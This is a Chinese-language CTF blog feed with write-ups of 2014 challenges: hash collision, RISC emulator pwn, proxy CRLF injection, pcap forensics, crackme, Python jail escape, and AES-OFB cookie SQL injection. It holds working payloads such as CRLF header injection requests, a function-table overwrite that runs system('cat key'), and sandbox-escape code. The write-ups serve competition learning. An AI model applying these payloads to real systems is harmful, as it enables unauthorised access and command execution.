</ol>Boston Key Party CTF 2014 Crypto 200 Xorxes the Hash2014-03-03T00:48:00+08:002014-03-03T00:48:00+08:00ddaatag:ddaa.tw,2014-03-03:/bkpctf_crypto_200_xorxes_the_hash.html<p>這題出的有點爛<br>
限制太少導致 flag 可能有很多種<br>
卻要 match md5sum 的才是正解<br>
有點無言 ORZ </p>
<hr>
<p>Crypto 200,這題是一個 python script<br>
此題敘述如下: </p>
<blockquote>
<p>Xorxes is a hash collision challenge. The goal is to find a second preimage for the input string "Klaatubaradanikto". Submit it as the flag. UPDATE: It has been pointed out that there are multiple …</p></blockquote><p>這題出的有點爛<br>
限制太少導致 flag 可能有很多種<br>
卻要 match md5sum 的才是正解<br>
有點無言 ORZ </p>
<hr>
<p>Crypto 200,這題是一個 python script<br>
此題敘述如下: </p>
<blockquote>
<p>Xorxes is a hash collision challenge. The goal is to find a second preimage for the input string "Klaatubaradanikto". Submit it as the flag. UPDATE: It has been pointed out that there are multiple solutions. The flag is the one with md5sum '7179926e4253a0b405090df67f62c543'. (Use `echo -n FLAG | md5sum'.) UPDATE THE SECOND: The solution is short. </p>
</blockquote>
<p>簡單的說我們要找到另一個字串做 Xorxes 後的結果會與 <code>Klaatubaradanikto</code> 相同<br>
但是因為結果不只一種<br>
flag的結果做md5後會是 <code>7179926e4253a0b405090df67f62c543</code> </p>
<p>題目很好心的把hash的示意圖給我們了: </p>
<div class="highlight"><pre><span></span> # Xorxes Hash uses message blocks of 8-bits, with a 224-bit chaining variable.
#
# (m_0) (m_1) ... (m_n) = input message blocks
# | | |
# SHA224 SHA224 ... SHA224
# | | |
# V-(+)-[>>>56]-(+)-[>>>56]- ... --+--- = chaining variable
#
# chaining variable + (message length mod 24) = hash output
</pre></div>
<p>一個block就是一個字元<br>
V指的是 Initail Vector<br>
<strong>Xorxes</strong> 的流程是: </p>
<ol>
<li>c = IV</li>
<li>x = sha224(str[i]) //每次取一個字元做sha224</li>
<li>c = RROT(c,56) //將目前的結果做 right rotate 56 bit</li>
<li>c = x ^ c</li>
<li>result = c + (len(str) % 24) //最後加上字串長度</li>
</ol>
<p>這題的關鍵是這種 hash 的方式是 <strong>stream cipher</strong><br>
且不會產生 avalanche effect<br>
此外 sha224 會將字元 hash 成 224 bit 的結果<br>
而 rotate 56bit 剛好是 1/4 的長度<br>
根據這些特性...<br>
我就想出來至少三種可以產生有同樣 hash 結果的方式 = = </p>
<ol>
<li>
<p>找到 -24 內的 hash 加上固定的 4n 個相同字元,以長度調整 hash value<br>
4 個相同字元 hash 出來的結果會是 0 (忽略IV)<br>
xor 的特性是 <code>a^a=0</code>
雖然這題有做 shift 但是四個相同字元將無視這個限制<br>
理論上是可行但是要找到符合條件似乎太過嚴苛<br>
加上 hint "The solution is short" 讓我否定了這個猜想 </p>
</li>
<li>
<p><code>KlaXtubXradXnikto</code><br>
xor 還有一個特性是滿足交換率<br>
如果中間有相同的字元,且 index%4 相同<br>
這兩個字元在 hash 的過程中可以相互抵銷<br>
<code>Klaatubaradanikto</code> 這個字串有三個位置滿足這條件<br>
我嘗試填入 <em>[a-zA-Z0-9]</em><br>
C3取 2*62 共 186 種組合 拿去做 md5 check<br>
結果都不是正確的結果 ORZ </p>
</li>
<li>
<p>將 <code>Klaatubaradanikto</code> 內的字元做交換<br>
用xor交換率的特性<br>
index%4 相同的字元可以交換卻不影響 hash 的結果<br>
但是這可能性就有點多....<br>
一共約有 <code>5!\*4!\*4!\*4!=1658880</code> 種 (字元相同我懶得扣掉了 XD)<br>
我跑了將近一個小時最後才得到結果 = =<br>
不知道是不是我還有什麼沒考慮到的? </p>
</li>
</ol>
<p>flag: <code>radaniktKlaatubao</code></p>Boston Key Party CTF 2014 Pwn 100 risc_emu2014-03-02T23:50:00+08:002014-03-02T23:50:00+08:00ddaatag:ddaa.tw,2014-03-02:/bkpctf_pwn_100_risc_emu.html<p>這次為期36小時<br>
題目很多 而且有些感覺很有趣<br>
可惜周六有點事情 這次沒辦法全程參與<br>
最後只拿到500分 好弱 ORZ </p>
<hr>
<p>這題是模擬 RISC CPU 的程式<br>
類型是 Pwning , ELF x64<br>
能執行類似 ARM 語法的模擬器 </p>
<blockquote>
<p>RISC CPU Emulator BkP 2014<br>
Give me your bytecode!<br>
Please give me your bytecode base64'd:<br>
aaaa<br>
Got it, executing aaaa now!<br>
I don't recognize opcode 0x69 </p>
</blockquote>
<p>我們可以給它一個 bytecode (須加密成 base64)<br>
格式為 …</p><p>這次為期36小時<br>
題目很多 而且有些感覺很有趣<br>
可惜周六有點事情 這次沒辦法全程參與<br>
最後只拿到500分 好弱 ORZ </p>
<hr>
<p>這題是模擬 RISC CPU 的程式<br>
類型是 Pwning , ELF x64<br>
能執行類似 ARM 語法的模擬器 </p>
<blockquote>
<p>RISC CPU Emulator BkP 2014<br>
Give me your bytecode!<br>
Please give me your bytecode base64'd:<br>
aaaa<br>
Got it, executing aaaa now!<br>
I don't recognize opcode 0x69 </p>
</blockquote>
<p>我們可以給它一個 bytecode (須加密成 base64)<br>
格式為 [opcode] [dst] [src] [value] (會依據指令不同有所分別)<br>
dst 就是模擬的 register<br>
位於程式 heap 的某些區段<br>
能接受的指令有 9 種:<br>
<code>add</code>,<code>addi</code>,<code>sub</code>,<code>subi</code>,<code>xor</code>,<code>and</code>,<code>mul</code>,<code>div</code>,<code>term</code> </p>
<p>reverse 以後發現處理指令的方式位於 <code>0x401c66</code><br>
是以一個 function table 儲存每個指令的 address<br>
再由 <code>call eax</code> 的方式去執行<br>
接著繼續 trace 發現一個有趣的事情<br>
大部分的指令在 dst 都有做過濾<br>
如果 <strong>>=8</strong> 就會回傳 <code>ERROR!</code><br>
只有 <code>addi</code> 和 <code>subi</code> 不會!<br>
這邊可以任意竄改 <code>0x604b50+0xff</code> 範圍之內的的值<br>
<code>0x604b50</code>~<code>0x604b70</code> 是模擬器中 register 的值<br>
而 0x604c10 開始就是 function table<br>
我們可以竄改 function table 到我們要的 eip </p>
<p>到這邊為止都是正確的思路<br>
接下來我浪費了將近5小時在做 exploit...<br>
我發現不管輸入多長的字串<br>
emu 會切割成好幾個 4 byte 的指令並執行<br>
後面可以塞shellcode<br>
接著我企圖透過 <code>addi</code> 將其中一個 function 的值<br>
由 <code>0x40xxxx</code> 覆寫成 <code>0x60xxxx</code> 也就是 buf 的位置<br>
但是由於 emu 每次執行完指令後回將 return value 存在 heap 中<br>
執行超過12個指令將會蓋到題目的 heap guard<br>
將會出現:</p>
<blockquote>
<p>*** HEAP FUCKERY DETECTED ***: /home/dada/wargame/risc_emu/emu terminated *<br>
Obtained 4 stack frames.<br>
/home/dada/wargame/risc_emu/emu() [0x4025f6]<br>
/home/dada/wargame/risc_emu/emu() [0x401bb2]<br>
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed) [0x7ffff722976d]<br>
/home/dada/wargame/risc_emu/emu() [0x401379] </p>
</blockquote>
<p>但是如果我們輸入不只 4 byte<br>
後面的指令會繼續被執行<br>
並不會馬上將 return value 存到 heap<br>
於是還是可以將 function table 寫成 buf 的位置<br>
一切都就緒後我發現還是無法成功<br>
why? 因為這題有 DEP 囧!!!!!!!<br>
所以這一段基本上都是白費工夫<br>
因為所有能塞 shellcode 的區段根本沒辦法執行 Orz </p>
<p>到這邊我就很賭爛的去睡覺了<br>
隔天起來突然發現這題原來got裡有一個 <code>system()</code> ...<br>
而且很剛好 在 <code>call eax</code> 到 emu function 的時候<br>
剛好 rdi 指向的是 buf 的位置.....OTZ (x64 參數指標是放在 rdi)<br>
所以這題只要: </p>
<ol>
<li>用 addi 去改 function table 中一個 function 的值 ex: <code>term</code></li>
<li>第一個 byte 放 \x09 (<code>term</code> 的 opcode) 後面接 system 的參數</li>
</ol>
<p>就可以任意執行指令了 ORZ<br>
此外這題已經把 stdout dup 到socket<br>
所以只要 <code>system("cat key")</code> 以後就有 key 了 </p>
<p>flag: <code>stupid_boston_leprechauns_and_geohots</code> </p>Codegate CTF Preliminary 2014 200 Web Proxy2014-02-26T02:24:00+08:002014-02-26T02:24:00+08:00ddaatag:ddaa.tw,2014-02-26:/codegate_web_200_web_proxy.html<p>這題被 <strong>orange</strong> 秒殺了<br>
我是賽後才解出來的 Orz </p>
<hr>
<p>網址點開是一個 proxy 頁面<br>
在 input form 輸入網址後<br>
會將網頁的部分內容和 header 印出來 </p>
<p>打開 source code 可以看到註解有提示<br>
<em><!-- admin/index.php --></em><br>
嘗試用 proxy load 頁面看看:<br>
<code>http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/index.php</code> </p>
<blockquote>
<p>403 Forbidden </p>
</blockquote>
<p>這題的方向應該很明確了<br>
透過 proxy 去存取 <code>admin.php</code><br>
題目的環境是 <strong>apache</strong><br>
應該是透過 <code>.htaccess</code> 去擋的<br>
不過似乎沒辦法拿到設定 </p>
<p>先隨便跳轉一個網頁<br>
<code>http://58.229 …</code></p><p>這題被 <strong>orange</strong> 秒殺了<br>
我是賽後才解出來的 Orz </p>
<hr>
<p>網址點開是一個 proxy 頁面<br>
在 input form 輸入網址後<br>
會將網頁的部分內容和 header 印出來 </p>
<p>打開 source code 可以看到註解有提示<br>
<em><!-- admin/index.php --></em><br>
嘗試用 proxy load 頁面看看:<br>
<code>http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/index.php</code> </p>
<blockquote>
<p>403 Forbidden </p>
</blockquote>
<p>這題的方向應該很明確了<br>
透過 proxy 去存取 <code>admin.php</code><br>
題目的環境是 <strong>apache</strong><br>
應該是透過 <code>.htaccess</code> 去擋的<br>
不過似乎沒辦法拿到設定 </p>
<p>先隨便跳轉一個網頁<br>
<code>http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=www.google.com</code><br>
會發現 proxy 是透過參數 <code>url</code> 決定轉址頁面<br>
猜測是透過 <code>header('Location:'+ $url);</code> 去做轉址<br>
如果 <code>$url</code> 沒有做過濾<br>
會有 <strong>HTTP header CRLF injection</strong><br>
試試看猜測是否正確: </p>
<div class="highlight"><pre><span></span>http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=www.google.com%2f
HTTP/1.1%0d%0a
Host: 123%0d%0a
%0d%0a
</pre></div>
<blockquote>
<p>...<br>
Date: Tue, 25 Feb 2014 19:00:30 GMT<br>
Server: gws<br>
Content-Length: 261<br>
X-XSS-Protection: 1; mode=block </p>
</blockquote>
<p>喔喔 看起來有反應<br>
還意外發現 google 的 <strong>XSS protect</strong> XD<br>
這邊我們可以偽造 header 竄改來源了<br>
但是網站好像有做過濾<br>
只要包含 <code>58.229.183.24</code> 都會被擋下來<br>
顯示 <em>Access Denied</em><br>
改嘗試從 <strong>localhost</strong> 去連頁面:<br>
<code>url=localhost/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/</code> </p>
<blockquote>
<p>HTTP/1.1 200 OK<br>
Date: Tue, 25 Feb 2014 18:49:08 GMT<br>
Server: Apache/2.4.6 (Ubuntu) </p>
</blockquote>
<p>如此就繞過 <code>.htaccess</code> 的限制了 lol<br>
由於這個 proxy 只會顯示網頁的部分內容<br>
在 header 加入 <code>Range</code> 可以控制顯示內容範圍 </p>
<div class="highlight"><pre><span></span><span class="n">Host</span><span class="o">:</span> <span class="mi">123</span><span class="o">%</span><span class="mi">0</span><span class="n">d</span><span class="o">%</span><span class="mi">0</span><span class="n">a</span>
<span class="n">Range</span><span class="o">:</span> <span class="n">bytes</span><span class="o">=</span><span class="mi">0</span><span class="o">-</span><span class="mi">100</span><span class="o">%</span><span class="mi">0</span><span class="n">d</span><span class="o">%</span><span class="mi">0</span><span class="n">a</span>
<span class="o">%</span><span class="mi">0</span><span class="n">d</span><span class="o">%</span><span class="mi">0</span><span class="n">a</span>
</pre></div>
<p>慢慢dump內容,結果發現... </p>
<blockquote>
<p>Access Denied<br>
\<br> 100 </p>
</blockquote>
<p>好吧 看來 code 可能也是有做些存取限制<br>
嘗試改成 <code>Host: localhost</code><br>
... fail again<br>
在這邊卡關了一陣子<br>
決定還是慢慢把全部內容 dump 出來<br>
結果發現這一段... </p>
<blockquote>
<p>$_SERVER[HTTP_HOST]=="hackme")-->\</body><br>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> </p>
</blockquote>
<p>所以改成 <code>Host: hackme</code><br>
這題就過了 </p>
<blockquote>
<p>hello admin\<br><br>
Password is WH0_IS_SnUS_bI1G_F4N </p>
</blockquote>
<p>flag: <code>WH0_IS_SnUS_bI1G_F4N</code> </p>Codegate CTF Preliminary 2014 150 WeirdShark2014-02-25T00:20:00+08:002014-02-25T00:20:00+08:00ddaatag:ddaa.tw,2014-02-25:/codegate_forensic_150_weirdshark.html<p>這題是這次 CTF 唯一的一題 Forensics ...... </p>
<hr>
<p>題目是一個 pcap 檔<br>
用 <strong>wireshark</strong> 開啟卻出現錯誤訊息<br>
<img alt="weirdshark1.PNG" src="https://ddaa.tw/images/codegate_2014_weirdshark_1.png"> </p>
<p>看來是毀損了<br>
只好想辦法修復<br>
找到一個線上修復 pcap 的網站<br>
<a href="http://f00l.de/pcapfix/">pcapfix</a> </p>
<p>修復後再開一次檔案...fail again<br>
<img alt="weirdshark2.PNG" src="https://ddaa.tw/images/codegate_2014_weirdshark_2.png"><br>
至少 <em>cap_len</em> 變小了<br>
這次只好自己手動修復了 QQ<br>
<code>62 = 0x3E, 64 = 0x40</code><br>
搜尋一下 0x40<br>
嘗試改成 0x3E<br>
<img alt="weirdshark3.PNG" src="https://ddaa.tw/images/codegate_2014_weirdshark_3.png"><br>
然後就 work 了... =.= </p>
<p>除了一般 tcp 就只出現 http了<br>
看到有 <em>GET /xxx.jpg</em> 的可疑封包<br>
把檔案解開來看看<br>
<code>file -> extract object -> http</code><br>
將所有檔案檢查過以後 …</p><p>這題是這次 CTF 唯一的一題 Forensics ...... </p>
<hr>
<p>題目是一個 pcap 檔<br>
用 <strong>wireshark</strong> 開啟卻出現錯誤訊息<br>
<img alt="weirdshark1.PNG" src="https://ddaa.tw/images/codegate_2014_weirdshark_1.png"> </p>
<p>看來是毀損了<br>
只好想辦法修復<br>
找到一個線上修復 pcap 的網站<br>
<a href="http://f00l.de/pcapfix/">pcapfix</a> </p>
<p>修復後再開一次檔案...fail again<br>
<img alt="weirdshark2.PNG" src="https://ddaa.tw/images/codegate_2014_weirdshark_2.png"><br>
至少 <em>cap_len</em> 變小了<br>
這次只好自己手動修復了 QQ<br>
<code>62 = 0x3E, 64 = 0x40</code><br>
搜尋一下 0x40<br>
嘗試改成 0x3E<br>
<img alt="weirdshark3.PNG" src="https://ddaa.tw/images/codegate_2014_weirdshark_3.png"><br>
然後就 work 了... =.= </p>
<p>除了一般 tcp 就只出現 http了<br>
看到有 <em>GET /xxx.jpg</em> 的可疑封包<br>
把檔案解開來看看<br>
<code>file -> extract object -> http</code><br>
將所有檔案檢查過以後<br>
發現在 pdf 檔裡面有 flag XD<br>
<img alt="flag.PNG" src="https://ddaa.tw/images/codegate_2014_weirdshark_flag.png"> </p>
<p>flag: <code>FORENSICS_WITH_HAXORS</code> </p>Codegate CTF Preliminary 2014 200 dodoCrackme2014-02-24T01:53:00+08:002014-02-24T01:53:00+08:00ddaatag:ddaa.tw,2014-02-24:/codegate_reverse_200_dodocrackme.html<p>這是應該是我玩過的 CTF 裡面最硬的一次 ORZ<br>
大量的 pwn 和 reversing<br>
根本破壞遊戲體驗....= =<br>
這次跟 217 和 chroot 還有 sqlab 學長一起參加<br>
跟大大們學到很多招數 :)<br>
希望下次別這麼醬油了 Orz </p>
<hr>
<p>這題是 <strong>ELF 64-bit LSB executable</strong><br>
先觀察一下行為: </p>
<blockquote>
<p>root@localhost's password: 1234<br>
Permission denied (password). </p>
</blockquote>
<p>感覺就要先把 root password 弄到手<br>
先把分析看看 binary<br>
用ida打開會嚇一跳<br>
因為是用組語寫的 Orz<br>
function 只有一個start<br>
出現很多 syscall </p>
<p>查一下資料發現 syscall 會把 call number …</p><p>這是應該是我玩過的 CTF 裡面最硬的一次 ORZ<br>
大量的 pwn 和 reversing<br>
根本破壞遊戲體驗....= =<br>
這次跟 217 和 chroot 還有 sqlab 學長一起參加<br>
跟大大們學到很多招數 :)<br>
希望下次別這麼醬油了 Orz </p>
<hr>
<p>這題是 <strong>ELF 64-bit LSB executable</strong><br>
先觀察一下行為: </p>
<blockquote>
<p>root@localhost's password: 1234<br>
Permission denied (password). </p>
</blockquote>
<p>感覺就要先把 root password 弄到手<br>
先把分析看看 binary<br>
用ida打開會嚇一跳<br>
因為是用組語寫的 Orz<br>
function 只有一個start<br>
出現很多 syscall </p>
<p>查一下資料發現 syscall 會把 call number 放在 <code>rax</code> <br>
用 interrupt 處理動作 </p>
<div class="highlight"><pre><span></span> mov $0x1,%eax
mov $0x1,%edi
mov %rbp,%rsi
mov $0x1,%edx
syscall
</pre></div>
<p>上面組語的行為是 <code>write(1, rbp, 1);</code><br>
過程中是用 inc / dec 控制輸出的 byte<br>
直接看 code 看不出密碼<br>
輸出 <em>root@localhost's password:</em> 後<br>
接著是一些用途不明的 code<br>
然後才是 syscall read<br>
在 syscall 的地方下 breakpoint<br>
接著把 <code>rbp</code> 附近的 memory dump 出來<br>
發現從 <code>0x7ffff7ff8b58</code> 開始<br>
每隔 16 byte 就會有奇怪的字元: </p>
<blockquote>
<p>0x7ffff7ff8b58: 72 'H' <br>
0x7ffff7ff8b60: 0 '\000'<br>
0x7ffff7ff8b68: 52 '4' <br>
0x7ffff7ff8b70: 0 '\000'<br>
0x7ffff7ff8b78: 80 'P' <br>
0x7ffff7ff8b80: 0 '\000'<br>
0x7ffff7ff8b88: 80 'P' <br>
0x7ffff7ff8b90: 0 '\000'<br>
0x7ffff7ff8b98: 89 'Y' <br>
... </p>
</blockquote>
<p>所以推測剛剛那段意義不明的 code 是用來生成 password<br>
不過到這已經可以知道 flag 了<br>
我就沒有去回去研究到底是不是如我猜想的了 </p>
<p>flag: <code>H4PPY_C0DEGaTE_2014_CU_1N_K0RE4</code> </p>Olympic CTF 2014 10 point summary2014-02-10T21:22:00+08:002014-02-10T21:22:00+08:00ddaatag:ddaa.tw,2014-02-10:/olympic_other_10_summary.html<p>這次的戰績只有慘不忍睹....<br>
除了 web200 以外<br>
其他解出的題目都只有 10 分 Orz<br>
Web200 Orange 大大的 <a href="http://blog.orange.tw/2014/02/olympic-ctf-2014-curling-200-write-up.html">write up</a> 已經很詳細了<br>
就不想再寫一份了 XD </p>
<hr>
<h1>Freestyle 10</h1>
<h2>Trivial</h2>
<blockquote>
<p>Hack the Planet_</p>
</blockquote>
<p>這題 hitcon 也有出過 XD<br>
google 一下就知道是驚嘆號了<br>
btw, 這題原出處好像是 defcon </p>
<h1>CURLing 10</h1>
<h2>Out there</h2>
<blockquote>
<p>Flag is out there:<br>
http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/<br>
Flag format …</p></blockquote><p>這次的戰績只有慘不忍睹....<br>
除了 web200 以外<br>
其他解出的題目都只有 10 分 Orz<br>
Web200 Orange 大大的 <a href="http://blog.orange.tw/2014/02/olympic-ctf-2014-curling-200-write-up.html">write up</a> 已經很詳細了<br>
就不想再寫一份了 XD </p>
<hr>
<h1>Freestyle 10</h1>
<h2>Trivial</h2>
<blockquote>
<p>Hack the Planet_</p>
</blockquote>
<p>這題 hitcon 也有出過 XD<br>
google 一下就知道是驚嘆號了<br>
btw, 這題原出處好像是 defcon </p>
<h1>CURLing 10</h1>
<h2>Out there</h2>
<blockquote>
<p>Flag is out there:<br>
http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/<br>
Flag format: CTF{..32 hexes..} </p>
</blockquote>
<p>這題難點是ipv6...<br>
由於我的機器沒辦法設定ipv6 route<br>
所以一開始沒辦法解 XD<br>
後來是到學校以後才發現學校有辦法瀏覽ipv6的web<br>
寫個批次檔一次開啟一堆網頁 (chrome 超強!)<br>
結果只有這個有畫面:<br>
<code>http://[2a02:6b8:0:141f:fea9:d5ff:fed5:6901]/</code><br>
看 source code 就找到flag了 </p>
<h1>Binathlon 10</h1>
<h2>Just No One</h2>
<blockquote>
<p>Here's your binary: setup.exe</p>
</blockquote>
<p>這題是最白爛的一題 XD<br>
附檔是一個利用 inno setup 包裝起來的一個安裝套件<br>
有密碼!<br>
用 ollydbg bypass 密碼以後可以正確安裝<br>
點擊程式...只會看到無限迴圈一直印<br>
<code>You already saw the flag</code><br>
一開始以為 flag 是安裝密碼<br>
但是 survey 以後發現 inno 比對的是 hash 過後的密碼<br>
所以 flag 應該不會在這<br>
隔天突然想通印出來的 msg 是提示<br>
然後把安裝前的 EULA 看一遍<br>
發現 flag 果然藏在那邊 XDD<br>
人生第一次認真看完 EULA.... </p>
<h1>Figure Crypting 10</h1>
<h2>Crypting</h2>
<blockquote>
<p>43wdxz 4edcvgt5 65rdcvb 6tfcgh8uhb 9ijn</p>
</blockquote>
<p>一開始以為是加密後的文字<br>
所以嘗試過 shift、substitution<br>
都解不出來.....<br>
後來自己打一遍發現這個string在鍵盤上的排列好像不太對勁...<br>
所以這五段代表的是五個英文字母...<br>
<code>sochi</code> </p>
<h1>Nopsleigh 10</h1>
<h2>As seen on DEFCON</h2>
<blockquote>
<p>EBFE is to x86 as ____ is to ARM64 </p>
</blockquote>
<p>這題我沒解出來 :(<br>
survey以後發現 <code>EBFE</code> 對於x86來說<br>
代表的是 <code>jmp 0x00</code><br>
所以就會變成無窮迴圈<br>
對於 arm64 來說 指令就是<br>
<code>b 0</code> = <code>1400000</code><br>
我到這邊為止就卡住了<br>
後來才知道 arm64 要 little-endian<br>
所以是 <code>00000014</code>.....</p>
<hr>
<p>這次打完覺得自己還是太弱了 = =
比較需要技術性的都解到一半就解不下去
看來還需要多多加油 Orz</p>phd CTF 2014 Pwn 3900 pyjail2014-01-28T21:31:00+08:002014-01-28T21:31:00+08:00ddaatag:ddaa.tw,2014-01-28:/phd_pwn_3900_pyjail.html<p>這題解超久 = = 好險有解出來<br>
但是知道關鍵又覺得這題好像沒什麼 Orz<br>
就好像變魔術一樣<br>
謎底揭曉就不好玩了 QQ </p>
<hr>
<p>這題給了 py 的 source code<br>
我們可以輸入一些指令<br>
pyjail 會利用 <code>exec</code> 去執行<br>
但是有做一些限制: </p>
<p>1) 以下關鍵字都被過濾了... </p>
<div class="highlight"><pre><span></span>sanitize = re.compile(
r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
).sub
</pre></div>
<p>2) 僅接受以下字元 </p>
<div class="highlight"><pre><span></span>alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'
</pre></div>
<p>3) 只留下 trusted …</p><p>這題解超久 = = 好險有解出來<br>
但是知道關鍵又覺得這題好像沒什麼 Orz<br>
就好像變魔術一樣<br>
謎底揭曉就不好玩了 QQ </p>
<hr>
<p>這題給了 py 的 source code<br>
我們可以輸入一些指令<br>
pyjail 會利用 <code>exec</code> 去執行<br>
但是有做一些限制: </p>
<p>1) 以下關鍵字都被過濾了... </p>
<div class="highlight"><pre><span></span>sanitize = re.compile(
r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
).sub
</pre></div>
<p>2) 僅接受以下字元 </p>
<div class="highlight"><pre><span></span>alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'
</pre></div>
<p>3) 只留下 trusted built-in function </p>
<div class="highlight"><pre><span></span>trusted_builtins = """
True False type int
""".split()
</pre></div>
<p>這題的目的很明確,直接看 code : </p>
<div class="highlight"><pre><span></span>def exec_in_context(ctx):
exec code in ctx
print 'Flag is',
try:
assert FLAG != part1_of_flag
except:
print '********************'
</pre></div>
<p><code>exec code in ctx</code> 執行我們輸入的程式碼<br>
接著只要 <code>FLAG != part1_of_flag</code> == True<br>
就會把 FLAG 印出來<br>
不然就會印出一堆星星<br>
至於 FLAG 的值<br>
是由以下兩個 function 去決定: </p>
<div class="highlight"><pre><span></span>def we_must_be_sure_flag_part1_is_ready():
global FLAG
FLAG = part1_of_flag
def we_must_be_sure_flag_part2_is_ready():
global FLAG
FLAG += part2_of_flag
</pre></div>
<p>由於 <code>exec code in ctx</code><br>
closure 被限制了<br>
我們只能執行 <code>ctx = {'div': divider}</code> 中所定義的的 function : </p>
<div class="highlight"><pre><span></span>def divider(v1):
a = "You are lucky!"
b = "Try again!"
def divider(v2):
i,t,s, n,o,t, s,o, h,a,r,d
if int(v1) / int(v2) == EXPECTED:
print a
we_must_be_sure_flag_part2_is_ready()
else:
print b
we_must_be_sure_flag_part1_is_ready()
return divider
</pre></div>
<p>part1 的部分很簡單<br>
我們直接呼叫 div(1) 就會執行到了<br>
但是 part2 的部分<br>
<code>EXPECTED = 13.37</code><br>
兩個int相除不可能會是float Orz<br>
因此需要想辦法繞過那條限制 </p>
<p>最直覺想法是改 <code>EXPECT</code> 的值<br>
但是測試後發現 <code>EXPECT</code> 不是 free variable<br>
怎麼改都沒效 XD<br>
後來想透過 overload <code>int()</code><br>
傳入自訂的 class<br>
令即使是用 <code>int()</code> 結果依然是 <em>float</em><br>
可惜也失敗了<br>
因為 <em>__</em> 被過濾 而且 <em><strong>name</strong></em> 也被拿掉了 = = </p>
<p>後來仔細想<br>
會留下 <code>type()</code> 一定有他的原因<br>
以此作為突破點<br>
發現可以用 function 中有一個 attribute <code>func_code</code><br>
這個參數是 python 的 byte code<br>
可以替換這個屬性來執行其他的 function<br>
但是我在替換時<br>
遇上了 free variable 數目不符的訊息<br>
對 python 不夠熟 ... 不知道怎麼解決 QQ<br>
只好另尋他法<br>
就發現還有一個屬性 <code>func_closure</code><br>
裡面定義了函式中<br>
屬於其 closure 的變數或函式<br>
<code>print div(1).func_closure</code><br>
列出了一堆local variavle<br>
最後一項為: </p>
<blockquote>
<p><cell at 0x801858520: function object at 0x80185cd70> </p>
</blockquote>
<p>這個物件其實就是 <code>we_must_be_sure_flag_part2_is_ready()</code><br>
理論上可以用 <code>cell_contents</code> 將 cell 中的 object 拿出來<br>
但是 <strong>content</strong> 被過濾 ...<br>
這時可以利用 type 新增物件的方式<br>
來得到 cell 的值 </p>
<div class="highlight"><pre><span></span>def get_cell_value(cell):
return type(lambda: 0)(
(lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
)()
</pre></div>
<p>原理是: </p>
<ol>
<li><code>type(function)(func_code, func_global, func_name, func_default, func_closure)</code><br>
用這樣的方式定出一個 <em>print cell</em> 的 function </li>
<li><code>(lambda x: lambda: x)(0)</code><br>
定義這個 function 會把第一個參數的值回傳 </li>
<li>最後把 cell 包裝成 closure 的形式<br>
原本的 closure 被換成我們傳入的 cell<br>
所以參數就變成 cell 中的 value </li>
</ol>
<p>如此一來就可以執行 <code>we_must_be_sure_flag_part2_is_ready()</code> 了<br>
btw, 前面想的利用替換 <em>func_code</em> 也是可行的<br>
這題還有彩蛋,是要想辦法 read 檔案<br>
我沒有解出來 QQ<br>
後來才知道利用替換 func_code 的方式<br>
只要新增一行 <code>print type(stdout)(egg).read()</code><br>
就可以讀檔案了 </p>
<p>flag: <code>7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649</code> </p>phd CTF 2014 Web 2700 PHDays2014-01-28T20:05:00+08:002014-01-28T20:05:00+08:00ddaatag:ddaa.tw,2014-01-28:/phd_web_2700_phdays.html<p>其實題目全名是<br>
<em>stand back, we have PHDays!</em><br>
我去翻以前上課的投影片才發現關鍵<br>
好險以前有好好上課 XDD </p>
<hr>
<p>連到網頁經過檢查以後<br>
會發現存在 <code>index.php~</code> 這種暫存檔<br>
裡面有著登入的 source code </p>
<p>裡面有一行:<br>
<code>$query = "SELECT username FROM users WHERE id='$uid'";</code><br>
uid 並沒有做過濾,我們可以做 <strong>SQL injection</strong><br>
但是... </p>
<div class="highlight"><pre><span></span>if(isset($_COOKIE['uid'])) {
$uid = openssl_decrypt ($_COOKIE['uid'], $method, $key, false, $iv);
}
else {
$uid = generateRandomString(32);
setcookie("uid …</pre></div><p>其實題目全名是<br>
<em>stand back, we have PHDays!</em><br>
我去翻以前上課的投影片才發現關鍵<br>
好險以前有好好上課 XDD </p>
<hr>
<p>連到網頁經過檢查以後<br>
會發現存在 <code>index.php~</code> 這種暫存檔<br>
裡面有著登入的 source code </p>
<p>裡面有一行:<br>
<code>$query = "SELECT username FROM users WHERE id='$uid'";</code><br>
uid 並沒有做過濾,我們可以做 <strong>SQL injection</strong><br>
但是... </p>
<div class="highlight"><pre><span></span>if(isset($_COOKIE['uid'])) {
$uid = openssl_decrypt ($_COOKIE['uid'], $method, $key, false, $iv);
}
else {
$uid = generateRandomString(32);
setcookie("uid",openssl_encrypt ($uid, $method, $key, false, $iv));
}
</pre></div>
<p>uid 是從 <em>$_COOKIE</em> 得來<br>
但是被加密過了...<br>
加密的方式是 <code>$method = 'aes-256-ofb';</code><br>
到這看似無解了<br>
AES 256 目前還沒有一個很有效率的演算法來破解<br>
但是仔細研究 ofb 這種 stream cipher<br>
<img alt="ofb.png" src="https://ddaa.tw/images/phd_2014_phdays_1.png"> </p>
<p>在 key 和 iv 重複使用的情況下<br>
每次 encrypt 出來的 xor key 都會相同<br>
因此只要蒐集到夠多的 cipher<br>
就可以透過<strong>頻率分析</strong>的方式去解出 xor key </p>
<p>由於密文長度只有 32<br>
蒐集的 cookie 其實不用太多 雖然越多會越準確<br>
我後來測試只要蒐集 100 個就足以解出 xor key 了<br>
將 cookie 做 urldecode 再做 base64 解碼<br>
才是正確的 cipher<br>
